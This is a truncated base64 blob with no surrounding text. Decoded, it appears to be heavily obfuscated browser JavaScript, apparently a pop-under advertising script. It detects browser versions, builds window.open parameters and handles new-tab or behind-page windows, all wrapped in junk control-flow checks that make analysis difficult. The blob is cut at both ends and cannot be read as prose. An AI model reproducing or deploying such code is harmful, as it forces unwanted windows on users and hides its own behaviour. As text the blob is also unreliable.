E9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24